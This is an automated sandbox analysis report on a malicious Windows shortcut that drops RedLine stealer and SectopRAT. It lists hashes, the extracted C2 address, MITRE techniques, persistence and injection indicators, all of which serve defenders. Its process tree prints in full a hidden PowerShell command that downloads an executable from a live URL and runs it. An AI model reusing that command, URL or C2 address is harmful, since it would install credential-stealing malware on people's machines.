redline | fe691ec7c2a992948fe3bdd861ef9c93e49521cc7a310fae87dd61704b73904f

General

Target

a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c.lnk
Size

2KB
MD5

ef7f9739337bc657cd0a63e32e27d0a1
SHA1

bf67555a7272f24ceb57b1c49e4cf37dc17b246f
SHA256

a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c
SHA512

e3d0a14ac1b9165e75e619aa6f76058a4c799bb722abaeafac977c35f31ab10ad8c8a51c7f3828bb896cbf339f971974a4fb26421ba6aea52530ac84b7785ada

Score

10^/10

redline sectoprat cheat discovery infostealer persistence rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe

Extracted

Family

redline

Botnet

cheat

C2

194.26.192.248:7053

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4484-151-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4484-151-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

9 2164 powershell.exe
Downloads MZ/PE file

flow	pid	process
9	2164	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svhost.execmd.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	svhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

Processes:

svhost.exesvhost.exe

pid process

1624 svhost.exe
4484 svhost.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1624	svhost.exe
4484	svhost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svhost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Opgcxhsdw = "\"C:\\Users\\Admin\\AppData\\Roaming\\Hribpuz\\Opgcxhsdw.exe\""	svhost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Suspicious use of SetThreadContext 1 IoCs

Processes:

svhost.exe

description pid process target process

PID 1624 set thread context of 4484 1624 svhost.exe svhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exesvhost.exe

pid process

2164 powershell.exe
2164 powershell.exe
2952 powershell.exe
2952 powershell.exe
4484 svhost.exe
4484 svhost.exe

description	pid	process	target process
PID 1624 set thread context of 4484	1624	svhost.exe	svhost.exe

pid	process
2164	powershell.exe
2164	powershell.exe
2952	powershell.exe
2952	powershell.exe
4484	svhost.exe
4484	svhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exesvhost.exepowershell.exesvhost.exe

description	pid	process
Token: SeDebugPrivilege	2164	powershell.exe
Token: SeDebugPrivilege	1624	svhost.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	4484	svhost.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

cmd.exepowershell.exesvhost.exe

description	pid	process	target process
PID 2904 wrote to memory of 2164	2904	cmd.exe	powershell.exe
PID 2904 wrote to memory of 2164	2904	cmd.exe	powershell.exe
PID 2164 wrote to memory of 1624	2164	powershell.exe	svhost.exe
PID 2164 wrote to memory of 1624	2164	powershell.exe	svhost.exe
PID 2164 wrote to memory of 1624	2164	powershell.exe	svhost.exe
PID 1624 wrote to memory of 2952	1624	svhost.exe	powershell.exe
PID 1624 wrote to memory of 2952	1624	svhost.exe	powershell.exe
PID 1624 wrote to memory of 2952	1624	svhost.exe	powershell.exe
PID 1624 wrote to memory of 4484	1624	svhost.exe	svhost.exe
PID 1624 wrote to memory of 4484	1624	svhost.exe	svhost.exe
PID 1624 wrote to memory of 4484	1624	svhost.exe	svhost.exe
PID 1624 wrote to memory of 4484	1624	svhost.exe	svhost.exe
PID 1624 wrote to memory of 4484	1624	svhost.exe	svhost.exe
PID 1624 wrote to memory of 4484	1624	svhost.exe	svhost.exe
PID 1624 wrote to memory of 4484	1624	svhost.exe	svhost.exe
PID 1624 wrote to memory of 4484	1624	svhost.exe	svhost.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe','C:\Users\Admin\AppData\Roaming\svhost.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\svhost.exe'
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2164

C:\Users\Admin\AppData\Roaming\svhost.exe
"C:\Users\Admin\AppData\Roaming\svhost.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1624

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2952

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4484

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

2

T1081

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\svhost.exe.log
Filesize
1KB

MD5
a713c363be116d5ed1f971db6a657e4f

SHA1
90791863564c9ed38e7b4f047022dec4474060a1

SHA256
4b5c446ec8ed2a2696ba00a0890763d413006ce1ea1a7a32fda1655720aef46e

SHA512
5dc740414a6ec30908e924f3bdfae2f761a35a476ef2dda239b789575a0a3696169deb6dc84a14d5828eaa5644623f107b2c686bfa4f54a90f0688239b4b1739

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
eb4d127b8a6f84a1cee423c5e3e3a51d

SHA1
c55263a8ff097067f2393ce2120801a445fd1949

SHA256
d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

SHA512
45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

Download Submit
C:\Users\Admin\AppData\Roaming\svhost.exe
Filesize
1.2MB

MD5
d3713110654dc546bd5edc306a6e7efd

SHA1
db266e554e96098584bcbb29aa2774106a7e90bf

SHA256
97bfa0bd9f3b382280f67839c650a3d7be16aa31f124810f3a9b9559e34619c6

SHA512
35013774da17edf34b0d632766d54a55609d4c68b12da758b26016e5590f349f0a5dd475041cc7dbf02960a67214f9917da34b4c0d7bacdd839865d31fed8de6

Download Submit
C:\Users\Admin\AppData\Roaming\svhost.exe
Filesize
1.2MB

MD5
d3713110654dc546bd5edc306a6e7efd

SHA1
db266e554e96098584bcbb29aa2774106a7e90bf

SHA256
97bfa0bd9f3b382280f67839c650a3d7be16aa31f124810f3a9b9559e34619c6

SHA512
35013774da17edf34b0d632766d54a55609d4c68b12da758b26016e5590f349f0a5dd475041cc7dbf02960a67214f9917da34b4c0d7bacdd839865d31fed8de6

Download Submit
C:\Users\Admin\AppData\Roaming\svhost.exe
Filesize
1.2MB

MD5
d3713110654dc546bd5edc306a6e7efd

SHA1
db266e554e96098584bcbb29aa2774106a7e90bf

SHA256
97bfa0bd9f3b382280f67839c650a3d7be16aa31f124810f3a9b9559e34619c6

SHA512
35013774da17edf34b0d632766d54a55609d4c68b12da758b26016e5590f349f0a5dd475041cc7dbf02960a67214f9917da34b4c0d7bacdd839865d31fed8de6

Download Submit
memory/1624-135-0x0000000000000000-mapping.dmp

Download
memory/1624-139-0x0000000000AB0000-0x0000000000BEA000-memory.dmp

Filesize
1.2MB

Download
memory/1624-140-0x0000000005980000-0x00000000059A2000-memory.dmp

Filesize
136KB

Download
memory/2164-133-0x000001D3A9760000-0x000001D3A9782000-memory.dmp

Filesize
136KB

Download
memory/2164-134-0x00007FF9C6AF0000-0x00007FF9C75B1000-memory.dmp

Filesize
10.8MB

Download
memory/2164-138-0x00007FF9C6AF0000-0x00007FF9C75B1000-memory.dmp

Filesize
10.8MB

Download
memory/2164-132-0x0000000000000000-mapping.dmp

Download
memory/2952-148-0x0000000007F30000-0x00000000085AA000-memory.dmp

Filesize
6.5MB

Download
memory/2952-141-0x0000000000000000-mapping.dmp

Download
memory/2952-144-0x00000000057E0000-0x0000000005846000-memory.dmp

Filesize
408KB

Download
memory/2952-147-0x00000000066D0000-0x00000000066EE000-memory.dmp

Filesize
120KB

Download
memory/2952-143-0x0000000005950000-0x0000000005F78000-memory.dmp

Filesize
6.2MB

Download
memory/2952-149-0x0000000006BD0000-0x0000000006BEA000-memory.dmp

Filesize
104KB

Download
memory/2952-145-0x0000000005850000-0x00000000058B6000-memory.dmp

Filesize
408KB

Download
memory/2952-142-0x0000000003100000-0x0000000003136000-memory.dmp

Filesize
216KB

Download
memory/4484-151-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/4484-150-0x0000000000000000-mapping.dmp

Download
memory/4484-154-0x0000000005A10000-0x0000000006028000-memory.dmp

Filesize
6.1MB

Download
memory/4484-155-0x0000000005430000-0x0000000005442000-memory.dmp

Filesize
72KB

Download
memory/4484-156-0x0000000005490000-0x00000000054CC000-memory.dmp

Filesize
240KB

Download
memory/4484-157-0x0000000005740000-0x000000000584A000-memory.dmp

Filesize
1.0MB

Download
memory/4484-158-0x0000000006B60000-0x0000000006D22000-memory.dmp

Filesize
1.8MB

Download
memory/4484-159-0x0000000007260000-0x000000000778C000-memory.dmp

Filesize
5.2MB

Download
memory/4484-160-0x0000000006F00000-0x0000000006F92000-memory.dmp

Filesize
584KB

Download
memory/4484-161-0x0000000006FA0000-0x0000000007016000-memory.dmp

Filesize
472KB

Download
memory/4484-162-0x0000000007D40000-0x00000000082E4000-memory.dmp

Filesize
5.6MB

Download
memory/4484-163-0x0000000007220000-0x000000000723E000-memory.dmp

Filesize
120KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads